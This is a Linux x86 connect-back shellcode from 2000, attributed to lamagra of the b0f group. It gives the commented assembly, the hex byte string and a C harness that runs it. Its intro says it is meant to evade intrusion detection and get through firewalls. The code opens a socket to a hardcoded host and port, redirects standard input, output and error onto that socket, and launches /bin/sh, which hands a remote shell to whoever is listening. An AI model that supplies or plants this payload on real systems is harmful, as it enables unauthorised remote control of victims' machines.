This shellcode creates a connection to a host/port and starts a shell. This should be more anti-IDS then the others and it can go through a firewall.
d50e538d758dd930f5ec6b120b1229f2cdae67049c11ce1d22075a1a803c46f2
/*
Connecting shellcode written by lamagra <access-granted@geocities.com>
lamagra is a member of b0f/buffer0verfl0w security
http://lamagra.seKure.de - http://www.b0f.com
May 2000
.file "connect"
.version "01.01"
.text
.align 4
_start:
#socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
movl %esp,%ebp
xorl %edx,%edx
movb $102,%edx
movl %edx,%eax # 102 = socketcall
xorl %ecx,%ecx
movl %ecx,%ebx
incl %ebx # socket()
movl %ebx, -8(%ebp) # 1 = SOCK_STREAM
incl %ebx
movl %ebx, -12(%ebp) # 2 = AF_INET
decl %ebx # 1 = SYS_socket
movl %ecx, -4(%ebp) # 0 = IPPROTO_IP
leal -12(%ebp),%ecx # put args in correct place
int $0x80 # switch to kernel-mode
xorl %ecx,%ecx
movl %eax,-12(%ebp) # save the fd
# connect(fd,(struct sockaddr *)&struct,16);
incl %ebx
movw %ebx,-20(%ebp) # 2 = PF_INET
movw $9999,-18(%ebp) # 9999 = htons(3879);
movl $0x100007f,-16(%ebp) # htonl(IP)
leal -20(%ebp),%eax # struct sockaddr
movl %eax,-8(%ebp) # load the struct
movb $16,-4(%ebp) # 16 = sizeof(sockaddr)
movl %edx,%eax # 102 = socketcall
incl %ebx # 3 = SYS_connect
leal -12(%ebp),%ecx # put args in place
int $0x80 # call socketcall()
# dup2(fd,0-1-2)
xorl %ecx,%ecx
movb $63,%eax # 63 = dup2()
int $0x80
incl %ecx
cmpl $3,%ecx
jne -0xa
# arg[0] = "/bin/sh"
# arg[1] = 0x0
# execve(arg[0],arg);
jmp 0x18
popl %esi
movl %esi,0x8(%ebp)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%ebp)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%ebp),%ecx
leal 0xc(%ebp),%edx
int $0x80
call -0x1d
.string "/bin/sh"
*/
#define NAME "connecting"
char code[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\xc7\x45\xf0"
"\x7f\x01\x01\x01\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0"
"\x43\x8d\x4d\xf4\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03"
"\x75\xf6\xeb\x18\x5e\x89\x75\x08\x31\xc0\x88\x46\x07\x89\x45\x0c"
"\xb0\x0b\x89\xf3\x8d\x4d\x08\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff"
"\xff/bin/sh";
main()
{
int (*funct)();
funct = (int (*)()) code;
printf("%s shellcode\n\tSize = %d\n",NAME,strlen(code));
(int)(*funct)();
}